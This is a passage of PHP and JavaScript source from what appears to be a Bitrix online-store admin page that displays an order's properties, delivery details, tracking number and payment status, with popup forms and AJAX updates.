}
if (!in_array($arOrderProps["ORDER_PROPS_ID"], $arTownOrderProps) || (in_array($arOrderProps["ORDER_PROPS_ID"], $arTownOrderProps)
&& isset($arEnableTownProps[$arOrderProps["ORDER_PROPS_ID"]])
&& $arEnableTownProps[$arOrderProps["ORDER_PROPS_ID"]]))
{
?>
<tr>
<td valign="top"><?echo htmlspecialcharsEx($arOrderProps["NAME"])?>:</td>
<td valign="middle">
<?
if ($arOrderProps["TYPE"] == "CHECKBOX")
{
if ($arOrderProps["VALUE"] == "Y")
echo GetMessage("SALE_YES");
else
echo GetMessage("SALE_NO");
}
elseif ($arOrderProps["TYPE"] == "TEXT" || $arOrderProps["TYPE"] == "TEXTAREA")
{
if ($arOrderProps["CODE"] == 'phone' &&
$arOrderProps["IS_EMAIL"] == "N" &&
$arOrderProps["IS_PAYER"] == "N" &&
$arOrderProps["IS_PROFILE_NAME"] == "N")
{
echo '<a href="callto:'.htmlspecialcharsbx($arOrderProps["VALUE"]).'">'.htmlspecialcharsEx($arOrderProps["VALUE"]).'</a>';
}
elseif ($arOrderProps["IS_EMAIL"] == "Y")
echo '<a href="mailto:'.htmlspecialcharsbx($arOrderProps["VALUE"]).'">'.htmlspecialcharsEx($arOrderProps["VALUE"]).'</a>';
else
echo nl2br(htmlspecialcharsbx(trim($arOrderProps["VALUE"])));
}
elseif ($arOrderProps["TYPE"] == "SELECT" || $arOrderProps["TYPE"] == "RADIO")
{
$arVal = CSaleOrderPropsVariant::GetByValue($arOrderProps["ORDER_PROPS_ID"], $arOrderProps["VALUE"]);
echo htmlspecialcharsEx($arVal["NAME"]);
}
elseif ($arOrderProps["TYPE"] == "MULTISELECT")
{
$curVal = explode(",", $arOrderProps["VALUE"]);
$countCurVal = count($curVal);
for ($i = 0; $i < $countCurVal; $i++)
{
$arVal = CSaleOrderPropsVariant::GetByValue($arOrderProps["ORDER_PROPS_ID"], $curVal[$i]);
if ($i > 0)
echo ", ";
echo htmlspecialcharsEx($arVal["NAME"]);
}
}
elseif ($arOrderProps["TYPE"] == "LOCATION")
{
$arOrder["LOCATION_TO"] = $arOrderProps["VALUE"];
if(CSaleLocation::isLocationProEnabled())
{
$locationString = \Bitrix\Sale\Location\Admin\LocationHelper::getLocationStringById($arOrderProps['VALUE']);
if(!strlen($locationString))
$locationString = $arOrderProps['VALUE'];
print(htmlspecialcharsEx($locationString));
}
else
{
$arVal = CSaleLocation::GetByID($arOrderProps["VALUE"], LANG);
$locationString = $arVal["COUNTRY_NAME"];
if (strlen($arVal["REGION_NAME"]) > 0 && strlen($locationString) > 0)
$locationString .= " - ".$arVal["REGION_NAME"];
elseif (strlen($locationString) <= 0 && strlen($arVal["REGION_NAME"]) > 0)
$locationString = $arVal["REGION_NAME"];
if (strlen($locationString) > 0 && strlen($arVal["CITY_NAME"]) > 0)
$locationString .= " - ".$arVal["CITY_NAME"];
elseif (strlen($locationString) <= 0 && strlen($arVal["CITY_NAME"]) > 0)
$locationString = $arVal["CITY_NAME"];
echo htmlspecialcharsEx($locationString);
}
$locationData = $arOrderProps["VALUE"];
$rsZipList = CSaleLocation::GetLocationZIP($locationData);
if ($arZip = $rsZipList->Fetch())
{
if (strlen($arZip["ZIP"]) > 0)
$locationZip = $arZip["ZIP"];
}
}
elseif ($arOrderProps["TYPE"] == "FILE")
{
if (strpos($arOrderProps["VALUE"], ",") !== false)
{
$arValues = explode(",", $arOrderProps["VALUE"]);
foreach ($arValues as $fileId)
{
echo showImageOrDownloadLink(trim($fileId), $ID);
echo "<br/>";
}
}
else
{
echo showImageOrDownloadLink($arOrderProps["VALUE"], $ID);
}
}
else
{
echo htmlspecialcharsEx($arOrderProps["VALUE"]);
}
?>
</td>
</tr>
<?
}
}
$tabControl->EndCustomField("ORDER_PROPS", '');
$tabControl->AddSection("order_delivery", GetMessage("P_ORDER_DELIVERY_TITLE"));
$tabControl->BeginCustomField("ORDER_DELIVERY", GetMessage("P_ORDER_DELIVERY"));
?>
<tr>
<td width="40%"><?echo $tabControl->GetCustomLabelHTML()?>:</td>
<td>
<span id="allow_delivery_name">
<?
$arDeliveryName = array();
$arDeliveryData = array();
if (strpos($arOrder["DELIVERY_ID"], ":") !== false)
{
$arDeliveryName = explode(":", $arOrder["DELIVERY_ID"]);
$dbDelivery = CSaleDeliveryHandler::GetBySID($arDeliveryName[0]);
$arDeliveryData = $dbDelivery->Fetch();
echo "[".$arDeliveryData["SID"]."] ".htmlspecialcharsEx($arDeliveryData["NAME"])." (".$arOrder["LID"].")";
}
elseif (intval($arOrder["DELIVERY_ID"]) > 0)
{
$arDeliveryData = CSaleDelivery::GetByID($arOrder["DELIVERY_ID"]);
echo htmlspecialcharsbx($arDeliveryData["NAME"]);
}
else
echo GetMessage("SOD_NONE");
?>
</span>
</td>
</tr>
<?
if (!empty($arDeliveryName)):
?>
<tr>
<td><?=GetMessage("SOD_DELIVERY_SERVICE_NAME")?>:</td>
<td><? echo "[".htmlspecialcharsEx($arDeliveryName[1])."] ".htmlspecialcharsEx($arDeliveryData["PROFILES"][$arDeliveryName[1]]["TITLE"]); ?></td>
</tr>
<?
$arDeliveryExtraParams = CSaleDeliveryHandler::GetHandlerExtraParams($arDeliveryData["SID"], $arDeliveryName[1], $arOrder);
$depList = \Bitrix\Sale\Internals\OrderDeliveryReqTable::getList(array(
'filter'=>array('=ORDER_ID'=>$ID),
));
if($dep = $depList->fetch())
{
$depParams = unserialize($dep["PARAMS"]);
foreach($arDeliveryExtraParams as $paramId => $paramOptions)
{
if(isset($depParams[$paramId]))
{
if(isset($paramOptions["VALUES"]) && isset($paramOptions["VALUES"][$depParams[$paramId]]))
{
$value = $paramOptions["VALUES"][$depParams[$paramId]];
}
else
{
$value = $depParams[$paramId];
}
}
else
{
$value = "";
}
?>
<tr>
<td><?=$arDeliveryExtraParams[$paramId]["TITLE"].":"?></td>
<td><?=htmlspecialcharsbx($value)?></td>
</tr>
<?
}
}
endif;
$tabControl->EndCustomField("ORDER_DELIVERY", '');
$tabControl->BeginCustomField("STORE_DELIVERY", GetMessage("SOD_STORE_SEND"));
if (intval($arOrder["STORE_ID"]) > 0):
?>
<tr>
<td width="40%"><?echo $tabControl->GetCustomLabelHTML()?>:</td>
<td>
<?
$dbList = CCatalogStore::GetList(
array("SORT" => "DESC", "ID" => "DESC"),
array("ACTIVE" => "Y", "ID" => $arOrder["STORE_ID"]),
false,
false,
array("ID", "TITLE", "ADDRESS", "DESCRIPTION", "IMAGE_ID", "PHONE", "SCHEDULE", "LOCATION_ID", "GPS_N", "GPS_S")
);
if ($arList = $dbList->Fetch()):
?>
<div><?=htmlspecialcharsbx($arList["TITLE"])?></div>
<?else:?>
<div<?=GetMessage('SOD_STORE_SEND_NULL');?>></div>
<?endif;?>
</td>
</tr>
<?
endif;
$tabControl->EndCustomField("STORE_DELIVERY", '');
$tabControl->BeginCustomField("ORDER_ALLOW_DELIVERY", GetMessage("P_ORDER_ALLOW_DELIVERY"));
?>
<tr id="btn_allow_delivery" style="display:<?=($arOrder["ALLOW_DELIVERY"] == "N" && $bUserCanDeliverOrder) ? 'table-row' : 'none'?>">
<td width="40%"> </td>
<td valign="middle" class="btn_order"><?
if (!$boolLocked)
{
?><a title="<?=GetMessage('SOD_ALLOW_DELIVERY_DO_Y')?>" onclick="fShowAllowDelivery(this, '');" class="adm-btn adm-btn-green" href="javascript:void(0);"><?=GetMessage('SOD_ALLOW_DELIVERY_DO_Y')?></a><?
}
else
{
?><a title="<? echo $strLockUserExt; ?>" class="adm-btn-disabled" href="javascript:void(0);"><?=GetMessage('SOD_ALLOW_DELIVERY_DO_Y')?></a><?
}
?></td>
</tr>
<tr id="allow_delivery_no_user" style="display:<?=($arOrder["ALLOW_DELIVERY"] == "N" && !$bUserCanDeliverOrder) ? 'table-row' : 'none'?>">
<td><?=GetMessage("SOD_DELIVERY_IS_ALLOW")?>:</td>
<td><?=GetMessage("SALE_NO")?></td>
</tr>
<tr id="allow_delivery_number" style="display:<?=((strlen($arOrder["DELIVERY_DOC_NUM"]) > 0 || strlen($arOrder["DELIVERY_DOC_DATE"]))) ? 'table-row' : 'none'?>">
<td valign="top"><?=GetMessage('SOD_NUMBER_ALLOW_DELIVERY');?>:</td>
<td valign="middle" id="allow_delivery_doc_number_format"><?=GetMessage("SOD_DELIV_DOC", Array("#NUM#" => htmlspecialcharsEx($arOrder["DELIVERY_DOC_NUM"]), "#DATE#" => htmlspecialcharsEx($arOrder["DELIVERY_DOC_DATE"]))) ?></td>
</tr>
<tr id="allow_delivery_date" style="display:<?=(strlen($arOrder["DATE_ALLOW_DELIVERY"]) > 0) ? 'table-row' : 'none'?>">
<td><?=GetMessage('SOD_DATE_ALLOW_DELIVERY');?>:</td>
<td id="allow_delivery_date_user"><?=$arOrder["DATE_ALLOW_DELIVERY"]?>
<?if (!$crmMode && IntVal($arOrder["EMP_ALLOW_DELIVERY_ID"]) > 0)
echo GetFormatedUserName($arOrder["EMP_ALLOW_DELIVERY_ID"], false);
?>
</td>
</tr>
<tr id="allow_delivery_is_allow" style="display:<?=($arOrder["ALLOW_DELIVERY"] != "N") ? 'table-row' : 'none'?>">
<td><span class="alloy_payed_left"><?=GetMessage("SOD_DELIVERY_IS_ALLOW")?>:</span></td>
<td><span class="alloy_payed_right"><?=GetMessage("SOD_DELIVERY_YES")?></span><?if($bUserCanDeliverOrder)
{
?> <?
if (!$boolLocked)
{
?><a href="javascript:void(0);" onclick="fShowAllowDelivery(this, 'cancel');"><?=GetMessage('SOD_DELIVERY_EDIT');?></a><?
}
else
{
?><span style="text-decoration: line-through;" title="<? echo $strLockUserExt; ?>"><?=GetMessage('SOD_DELIVERY_EDIT');?></span><?
}
}
?></td>
</tr>
<tr>
<td colspan="2">
<div id="popup_form" class="sale_popup_form adm-workarea" style="display:none; font-size:13px;">
<table>
<tr>
<td class="head"><?=GetMessage('SOD_POPUP_ORDER_STATUS')?>:</td>
<td><select name="FORM_STATUS_ID" id="FORM_STATUS_ID" onChange="fChangeOrderStatus();"><?=$statusOrder?></select></td>
</tr>
<?
$arActions = array();
$actions = CSaleDeliveryHandler::getActionsList($arOrder["DELIVERY_ID"]);
if(array_key_exists("REQUEST_SELF", $actions))
$arActions["REQUEST_SELF"] = $actions["REQUEST_SELF"];
if(array_key_exists("REQUEST_TAKE", $actions))
$arActions["REQUEST_TAKE"] = $actions["REQUEST_TAKE"];
?>
<?if(!empty($arActions)):?>
<?
$depList = \Bitrix\Sale\Internals\OrderDeliveryReqTable::getList(array(
'filter'=>array('=ORDER_ID' => $ID),
));
if($dep = $depList->fetch())
{
$requestDisable = ""; // develop strlen($dep["DATE_REQUEST"]) > 0 ? " disabled" : "" ;
}
else
{
$requestDisable = "";
}
?>
<tr>
<td class="head"><?=GetMessage('SOD_POPUP_ORDER_ACTION')?>:</td>
<td>
<select name="FORM_ACTION_ID" id="FORM_ACTION_ID" onChange="fChangeDeliveryAction(this);" <?=$requestDisable?>>
<option value=""><?=GetMessage("SALE_NO")?></option>
<?foreach($arActions as $actionId => $actionName):?>
<option value="<?=$actionId?>"><?=$actionName?></option>
<?endforeach;?>
</select>
</td>
</tr>
<?endif;?>
<tr>
<td class="head"><?=GetMessage('SOD_POPUP_NUMBER_DOC')?>:</td>
<td>
<input type="text" class="popup_input" id="FORM_DELIVERY_DOC_NUM" name="FORM_DELIVERY_DOC_NUM" value="<?= htmlspecialcharsbx($arOrder["DELIVERY_DOC_NUM"]) ?>" size="30" maxlength="20" class="typeinput">
</td>
</tr>
<tr>
<td class="head"><?=GetMessage('SOD_POPUP_DATE_DOC')?>:</td>
<td>
<?= CalendarDate("FROM_DELIVERY_DOC_DATE", $arOrder["DELIVERY_DOC_DATE"], "change_delivery_form", "10", 'class="typeinput"'); ?>
</td>
</tr>
<tr id="cancel_allow_delivery" style="display:none;">
<td class="head"><label for="FORM_ALLOW_DELIVERY_CANCEL"><?=GetMessage('SOD_POPUP_DELIVERY_CANCEL')?>:</label></td>
<td>
<input type="checkbox" name="ALLOW_DELIVERY_CANCEL" id="FORM_ALLOW_DELIVERY_CANCEL" value="N" />
</td>
</tr>
</table>
</div>
<script type="text/javascript">
function fChangeOrderStatus()
{
BX('change_status').value='Y';
BX('change_status_popup').value='Y';
var obStatusErr = BX('change_status_err');
if (!!obStatusErr)
{
obStatusErr.innerHTML = '';
obStatusErr.style.display = 'none';
}
BX('STATUS_ID').value = BX.findChild(BX('sale-popup-delivery'), {'attr': {id: 'FORM_STATUS_ID'}}, true, false).value;
}
function fChangeDeliveryAction(domNodeAId)
{
var disable;
if(domNodeAId.value != "")
disable = true;
else
disable = false;
BX("FORM_DELIVERY_DOC_NUM").disabled = disable;
delivery_date = BX.findChild(BX('sale-popup-delivery'), {'attr': {name: 'FROM_DELIVERY_DOC_DATE'}}, true, false);
delivery_date.disabled = disable;
delivery_date.nextElementSibling.style.display = disable ? "none" : "";
var saveButton = BX.findChild(BX("deliverySaveButton"), {'class': 'popup-window-button-text'}, true, false);
saveButton.innerHTML = disable ? "<?=GetMessage('SOD_POPUP_SEEND_AND_SAVE')?>" : "<?=GetMessage('SOD_POPUP_SAVE')?>";
}
function fChangeDeliveryActionIdResult(res)
{
if(res.RESULT == "ERROR")
{
alert("<?=GetMessage('SOD_POPUP_REQUEST_ERROR')?>");
}
else
{
if(res.TRACKING_NUMBER)
{
BX('tracking-number-text').value = res.TRACKING_NUMBER;
BX('tracking-number-title').innerHTML = res.TRACKING_NUMBER;
}
alert("<?=GetMessage('SOD_POPUP_REQUEST_SUCCESS')?>");
}
}
function fChangeDeliveryResult(res)
{
var rs = eval( '('+res+')' );
BX.closeWait();
if (rs["message"] == "ok")
{
if (rs["ALLOW_DELIVERY"] == "Y")
{
var emp_allow = '';
BX('btn_allow_delivery').style.display = "none";
// BX('allow_delivery_date').style.display = "none";
BX('allow_delivery_number').style.display = "none";
BX('allow_delivery_date').style.display = "table-row";
BX('allow_delivery_is_allow').style.display = "table-row";
if (rs["DATE_ALLOW_DELIVERY"].length > 0)
emp_allow = rs["DATE_ALLOW_DELIVERY"];
if (rs["EMP_ALLOW_DELIVERY_ID"] && rs["EMP_ALLOW_DELIVERY_ID"].length > 0)
emp_allow += ' ' + rs["EMP_ALLOW_DELIVERY_ID"];
if (BX('allow_delivery_date_user') && emp_allow.length > 0)
BX('allow_delivery_date_user').innerHTML = emp_allow;
if (rs["DELIVERY_DOC_NUMBER_FORMAT"].length > 0)
{
BX('allow_delivery_doc_number_format').innerHTML = rs["DELIVERY_DOC_NUMBER_FORMAT"];
BX('allow_delivery_number').style.display = "table-row";
}
}
else
{
// BX('allow_delivery_date').style.display = "table-row";
BX('btn_allow_delivery').style.display = "table-row";
// BX('allow_delivery_date2').style.display = "none";
BX('allow_delivery_is_allow').style.display = "none";
BX('allow_delivery_number').style.display = "none";
}
if (!!rs.STATUS_ERR && true == rs.STATUS_ERR)
{
var obStatusErr = BX('change_status_err');
if (!!obStatusErr)
{
obStatusErr.innerHTML = rs.STATUS_ERR_MESS;
obStatusErr.style.display = 'inline-block';
}
}
else
{
if (BX('date_status_change') && rs['DATE_STATUS'].length > 0)
BX('date_status_change').innerHTML = rs['DATE_STATUS'] + ' ' + rs['EMP_STATUS_ID'];
if (rs['STATUS_ID'].length > 0)
BX('STATUS_ID').value = rs['STATUS_ID'];
}
}
fCheckReservationResult(rs);
BX('change_status').value='N';
BX('change_status_popup').value='N';
}
function fShowAllowDelivery(el, type)
{
if (type == 'cancel')
BX("cancel_allow_delivery").style.display = 'table-row';
BX('FORM_STATUS_ID').value = BX('STATUS_ID').value;
if (BX('allow_delivery_is_allow').style.display == "none")
{
BX('FORM_ALLOW_DELIVERY_CANCEL').checked = false;
BX('cancel_allow_delivery').style.display = "none";
}
formAllowDelivery = BX.PopupWindowManager.create("sale-popup-delivery", BX('allow_delivery_name'), {
offsetTop : -100,
offsetLeft : -150,
autoHide : true,
closeByEsc : true,
closeIcon : true,
titleBar : true,
draggable: {restrict:true},
titleBar: {content: BX.create("span", {html: '<? echo GetMessageJS('SOD_POPUP_DELIVE_TITLE'); ?>', 'props': {'className': 'sale-popup-title-bar'}})},
content : BX("popup_form")
});
formAllowDelivery.setButtons([
new BX.PopupWindowButton({
text : "<?=GetMessageJS('SOD_POPUP_SAVE')?>",
id: "deliverySaveButton",
className : "",
events : {
click : function()
{
BX.showWait();
if (BX.findChild(BX('sale-popup-delivery'), {'attr': {id: 'FORM_ALLOW_DELIVERY_CANCEL'}}, true, false).checked)
allow_delivery = 'N';
else
allow_delivery = "Y";
delivery_date = BX.findChild(BX('sale-popup-delivery'), {'attr': {name: 'FROM_DELIVERY_DOC_DATE'}}, true, false).value;
var change_status = 'N';
var status_id = '';
if (BX('change_status') && BX('change_status').value == 'Y')
{
change_status = BX('change_status').value;
status_id = BX('STATUS_ID').value;
}
var change_status_popup = 'N';
if (BX('change_status_popup') && BX('change_status_popup').value == 'Y')
change_status_popup = BX('change_status_popup').value;
BX.ajax.post('/bitrix/admin/sale_order_detail.php', '<?=CUtil::JSEscape(bitrix_sessid_get())?>&ORDER_AJAX=Y&save_order_data=Y&STATUS_ID='+status_id+'&change_status='+change_status+'&change_status_popup='+change_status_popup+'&change_delivery_form=Y&ALLOW_DELIVERY='+allow_delivery+'&DELIVERY_DOC_NUM='+BX('FORM_DELIVERY_DOC_NUM').value+'&DELIVERY_DOC_DATE='+delivery_date+'&ID=<?=$ID?>', fChangeDeliveryResult);
var actionId = BX("FORM_ACTION_ID");
if(actionId && actionId.value !== "")
{
BX.ajax({
'method': 'POST',
'dataType': 'json',
'url': '/bitrix/admin/sale_order_detail.php',
'data': '<?=CUtil::JSEscape(bitrix_sessid_get())?>&ORDER_AJAX=Y&DELIVERY_ACTION='+actionId.value+'&ID=<?=$ID?>',
'onsuccess': fChangeDeliveryActionIdResult
});
}
formAllowDelivery.close();
}
}
}),
new BX.PopupWindowButton({
text : "<?=GetMessage('SOD_POPUP_CANCEL')?>",
className : "",
events : {
click : function()
{
formAllowDelivery.close();
}
}
})
]);
formAllowDelivery.show();
BX('FORM_DELIVERY_DOC_NUM').focus();
}
/**
* This function checks if reservation has been performed successfully
* during 1) payment 2) delivery flag change or 3) cancellation (undoing reservation).
* If there were any errors during that operation:
* - it immediately updates order mark status in the interface
* - and shows alert to the admin panel user
*/
function fCheckReservationResult(res)
{
if (res["reserve_message"] != "ok")
{
BX('user_can_mark').style.display = "none";
BX('btn_mark_cancel').style.display = "table-row";
BX('btn_mark_cancel_button').style.display = "table-row";
BX('date_change_mark').style.display = "table-row";
BX('date_change_mark_user').innerHTML = res["reserve_date"];
BX('reason_mark').style.display = "table-row";
BX('reason_mark_text').innerHTML = res["reserve_message"];
alert(res["reserve_message"]);
}
}
</script>
</td>
</tr>
<?
$tabControl->EndCustomField("ORDER_ALLOW_DELIVERY", '');
$tabControl->BeginCustomField("ORDER_TRACKING_NUMBER", GetMessage("SOD_ORDER_TRACKING_NUMBER"));
?>
<tr>
<td width="40%"><?echo $tabControl->GetCustomLabelHTML()?>:</td>
<td width="60%">
<div id="hover_comment"><?
if (!$boolLocked)
{
?>
<span id="tracking-number-title" onclick="fChangeTrackingNumber(this);">
<?
if ('' != $arOrder["TRACKING_NUMBER"])
echo htmlspecialcharsbx($arOrder["TRACKING_NUMBER"]);
else
echo GetMessage('SOD_ORDER_TRACKING_NUMBER_ADD');
?>
</span>
<span class="pencil"></span>
<?
}
else
{
?><span id="tracking-number-title">
<?
if ('' != $arOrder["TRACKING_NUMBER"])
{
echo htmlspecialcharsbx($arOrder["TRACKING_NUMBER"]);
}
else
{
echo '<span style="text-decoration: line-through;" title="'.$strLockUserExt.'">'.GetMessage('SOD_ORDER_TRACKING_NUMBER_ADD').'</span>';
}
?>
</span>
<?
}
?>
</div>
<?
if (!$boolLocked)
{
?>
<input type="text" id="tracking-number-text" name="TRACKING_NUMBER" onChange="fEditTrackingNumber(this, 'change');"
onBlur="fEditTrackingNumber(this, 'exit');" value="<?=htmlspecialcharsbx($arOrder["TRACKING_NUMBER"])?>" size="30">
<?
}
else
{
?><input type="hidden" value="<?=htmlspecialcharsbx($arOrder["TRACKING_NUMBER"])?>" name="TRACKING_NUMBER" id="tracking-number-text"><?
}
?>
<input type="hidden" name="change_tracking_number" id="id_change_tracking_number_hidden" value="N">
<script type="text/javascript">
function fChangeTrackingNumber(el)
{
BX(el).style.display = 'none';
BX('tracking-number-text').style.display = 'block';
BX('tracking-number-text').focus();
}
function fEditTrackingNumber(el, type)
{
if (type == 'change')
{
BX.showWait();
BX.ajax.post('/bitrix/admin/sale_order_detail.php', '<?=CUtil::JSEscape(bitrix_sessid_get())?>&ORDER_AJAX=Y&change=Y&tracking_number='+BX.util.urlencode(el.value)+'&ID=<?=$ID?>', fEditTrackingNumberResult);
if (BX('tracking-number-text').value.length > 0)
BX('tracking-number-title').innerHTML = BX('tracking-number-text').value;
else
BX('tracking-number-title').innerHTML = '<?=GetMessage('SOD_ORDER_TRACKING_NUMBER_ADD')?>';
}
BX('tracking-number-title').style.display = 'inline-block';
BX('tracking-number-text').style.display = 'none';
}
function fEditTrackingNumberResult(res)
{
BX.closeWait();
}
</script>
</td>
</tr>
</tr>
<?
$tabControl->EndCustomField("ORDER_TRACKING_NUMBER", "");
// additional delivery info (only for automated delivery systems and if delivery price was calculated)
if (is_array($arDeliveryData) && !empty($arDeliveryData) && strpos($arOrder["DELIVERY_ID"], ":") !== false && $arOrder["PRICE_DELIVERY"] != 0)
{
$arDeliveryId = explode(":", $arOrder["DELIVERY_ID"]);
$profileId = $arDeliveryId[1];
$arDeliveryOrder = array(
"PRICE" => $orderTotalPrice,
"WEIGHT" => $orderTotalWeight,
"LOCATION_FROM" => COption::GetOptionString('sale', 'location', '', $LID),
"LOCATION_TO" => $locationData,
"LOCATION_ZIP" => $locationZip,
"ITEMS" => $arBasketItems
);
$depList = \Bitrix\Sale\Internals\OrderDeliveryReqTable::getList(array(
'filter'=>array('=ORDER_ID' => $ID),
));
if($dep = $depList->fetch())
{
$arDeliveryOrder["EXTRA_PARAMS"] = unserialize($dep["PARAMS"]);
}
$arPacks = CSaleDeliveryHelper::getBoxesFromConfig($profileId, $arDeliveryData["CONFIG"]["CONFIG"]);
$arDeliveryResult = CSaleDeliveryHandler::CalculateFull($arDeliveryData["SID"], $profileId, $arDeliveryOrder, $arOrder["CURRENCY"], $LID);
$delDiscountDiff = roundEx($arDeliveryResult["VALUE"] - $arOrder["PRICE_DELIVERY"], SALE_VALUE_PRECISION);
$tabControl->BeginCustomField("ORDER_DELIVERY_ADDITIONAL_INFO", "");
if (!empty($arPacks)):
$arBox = array_shift(array_values($arPacks));
?>
<tr>
<td width="40%"></td>
<td width="60%">
<a class="dashed-link" href="javascript:void(0);" onclick="fToggleDeliveryInfo();"><?=GetMessage("SOD_SHOW_DELIVERY_ADDITIONAL_INFO")?></a></td>
</td>
</tr>
<tr class="hidden-delivery-info">
<td><?=GetMessage("SOD_DELIVERY_BOX_SIZE")?>:</td>
<td><?=GetMessage("SOD_DELIVERY_BOX_SIZE_VALUE", array("#L#" => $arBox["DIMENSIONS"][0], "#W#" => $arBox["DIMENSIONS"][1], "#H#" => $arBox["DIMENSIONS"][2]))?></td>
</tr>
<?
if ($arDeliveryResult["RESULT"] == "OK"):
?>
<tr class="hidden-delivery-info">
<td><?=GetMessage("SOD_DELIVERY_BOX_NUMBER")?>:</td>
<td><?=$arDeliveryResult["PACKS_COUNT"]?></td>
</tr>
<tr class="hidden-delivery-info">
<td><?=GetMessage("SOD_DELIVERY_SUM")?>:</td>
<td><?=SaleFormatCurrency($arOrder["PRICE_DELIVERY"], $arOrder["CURRENCY"])?></td>
</tr>
<?
if ($delDiscountDiff != 0):
?>
<tr class="hidden-delivery-info">
<td><?=GetMessage("SOD_DELIVERY_DELIVERY_DISCOUNT_DIFF")?>:</td>
<td><?=SaleFormatCurrency($delDiscountDiff, $arOrder["CURRENCY"])?></td>
</tr>
<?
endif;
elseif ($arDeliveryResult["RESULT"] == "ERROR"):
?>
<tr class="hidden-delivery-info">
<td><?=GetMessage("SOD_DELIVERY_SUM_AND_BOX_NUMBER")?>:</td>
<td><?=$arDeliveryResult["TEXT"]?></td>
</tr>
<?
endif;
$arData = array();
if (isset($arDeliveryData["GETFEATURES"]) && is_callable($arDeliveryData["GETFEATURES"]))
$arData = call_user_func($arDeliveryData["GETFEATURES"], $arDeliveryData["CONFIG"]["CONFIG"]);
foreach ($arData as $paramName => $paramValue):
?>
<tr class="hidden-delivery-info">
<td><?=$paramName?>:</td>
<td><?=$paramValue?></td>
</tr>
<?
endforeach;
endif;
?>
<script type="text/javascript">
function fToggleDeliveryInfo()
{
var elements = document.getElementsByClassName('hidden-delivery-info');
for (var i = 0; i < elements.length; ++i)
{
elements[i].style.display = (elements[i].style.display == 'none' || elements[i].style.display == '') ? 'table-row' : 'none';
}
}
</script>
<?
$tabControl->EndCustomField("ORDER_DELIVERY_ADDITIONAL_INFO", "");
}
// end of additional delivery info
$tabControl->AddSection("order_payment", GetMessage("P_ORDER_PAYMENT"));
$tabControl->BeginCustomField("ORDER_PAYMENT", GetMessage("P_ORDER_PAYMENT"));
?>
<tr>
<td valign="top"><?=GetMessage("P_ORDER_PAY_SYSTEM")?>:</td>
<td valign="middle">
<span id="payed_name">
<?
if (IntVal($arOrder["PAY_SYSTEM_ID"]) > 0)
{
$arPaySys = CSalePaySystem::GetByID($arOrder["PAY_SYSTEM_ID"], $arOrder["PERSON_TYPE_ID"]);
if ($arPaySys)
echo htmlspecialcharsEx($arPaySys["NAME"]."");
else
echo '<font color="#FF0000">'.GetMessage("SOD_PAY_SYS_DISC").'</font>';
}
else
echo GetMessage("SOD_NONE");
?>
</span>
</td>
</tr>
<?
$tabControl->EndCustomField("ORDER_PAYMENT", '');
$tabControl->BeginCustomField("ORDER_PAYED", GetMessage("P_ORDER_PAYED"));
?>
<tr id="summary_pay" style="display:<?=($arOrder["PAYED"] == "N") ? 'table-row' : 'none'?>">
<td valign="top"><?=GetMessage('SOD_PAYED_SUM');?>:</td>
<td valign="middle"><?=SaleFormatCurrency($arOrder["PRICE"], $arOrder["CURRENCY"])?></td>
</tr>
<tr id="pay_date_pay" style="display:<?=(strlen($arOrder["DATE_PAYED"]) > 0) ? 'table-row' : 'none'?>">
<td><?=GetMessage('SOD_DATE_ALLOW_PAY_CHANGE');?>:</td>
<td id="pay_date_pay_format"><?=$arOrder["DATE_PAYED"]?>
<?if (!$crmMode && IntVal($arOrder["EMP_PAYED_ID"]) > 0)
echo GetFormatedUserName($arOrder["EMP_PAYED_ID"], false);
?>
</td>
</tr>
<tr id="pay_pay_user" style="display:<?=($arOrder["PAYED"] == "N" && $bUserCanPayOrder) ? 'table-row' : 'none'?>">
<td> </td>
<td valign="middle" class="btn_order"><?
if (!$boolLocked)
{
?><a title="<?=GetMessage('SOD_DO_PAY_ORDER')?>" onClick="fShowAllowPay(this);" class="adm-btn adm-btn-green" href="javascript:void(0);"><?=GetMessage('SOD_DO_PAY_ORDER')?></a><?
}
else
{
?><a title="<? echo $strLockUserExt; ?>" class="adm-btn-disabled" href="javascript:void(0);"><?=GetMessage('SOD_DO_PAY_ORDER')?></a><?
}
?></td>
</tr>
<tr id="pay_pay_user_no" style="display:<?=($arOrder["PAYED"] == "N" && !$bUserCanPayOrder) ? 'table-row' : 'none'?>">
<td><?=GetMessage("SOD_PAYED_IS_ALLOW")?>:</td>
<td><?=GetMessage("SALE_NO")?></td>
</tr>
<tr id="pay_allow_pay" style="display:<?=($arOrder["PAYED"] != "N" && strlen($arOrder["PAY_VOUCHER_NUM"]) > 0) ? 'table-row' : 'none'?>">
<td><?=GetMessage('SOD_NUMBER_ALLOW_PAY');?>:</td>
<td id="payed_doc_number_format"><?= str_replace("#DATE#", $arOrder["PAY_VOUCHER_DATE"], str_replace("#NUM#", htmlspecialcharsEx($arOrder["PAY_VOUCHER_NUM"]), GetMessage("SOD_PAY_DOC"))) ?></td>
</tr>
<tr id="pay_is_pay" style="display:<?=($arOrder["PAYED"] != "N") ? 'table-row' : 'none'?>">
<td><span class="alloy_payed_left"><?=GetMessage("SOD_PAYED_IS_ALLOW")?>:</span></td>
<td>
<span class="alloy_payed_right"><?=GetMessage("SOD_PAYED_YES")?></span>
<?if($bUserCanPayOrder)
{
?> <?
if (!$boolLocked)
{
?><a href="javascript:void(0);" onclick="fShowAllowPay(this);"><?=GetMessage('SOD_DELIVERY_EDIT');?></a><?
}
else
{
?><span style="text-decoration: line-through;" title="<? echo $strLockUserExt; ?>"><?=GetMessage('SOD_DELIVERY_EDIT');?></span><?
}
}
?>
</td>
</tr>
<tr>
<td colspan="2">
<div id="popup_form_pay" class="sale_popup_form adm-workarea" style="display:none; font-size:13px;">
<table>
<tr>
<td class="head"><?=GetMessage('SOD_POPUP_PAY_STATUS')?>:</td>
<td><select name="FORM_PAY_STATUS_ID" id="FORM_PAY_STATUS_ID" onChange="fPayChangeOrderStatus();"><?=$statusOrder?></select></td>
</tr>
<tr>
<td class="head"><?=GetMessage('SOD_POPUP_PAY_NUMBER_DOC')?>:</td>
<td>
<input type="text" id="FORM_PAY_VOUCHER_NUM" class="popup_input" name="FORM_PAY_VOUCHER_NUM" value="<?= htmlspecialcharsbx($arOrder["PAY_VOUCHER_NUM"]) ?>" size="30" maxlength="20" class="typeinput">
</td>
</tr>
<tr>
<td class="head"><?=GetMessage('SOD_POPUP_PAY_DATE_DOC')?>:</td>
<td>
<?= CalendarDate("FROM_PAY_VOUCHER_DATE", $arOrder["PAY_VOUCHER_DATE"], "change_pay_form", "10", 'class="typeinput"'); ?>
</td>
</tr>
<?
$dbUserAccount = CSaleUserAccount::GetList(
array(),
array(
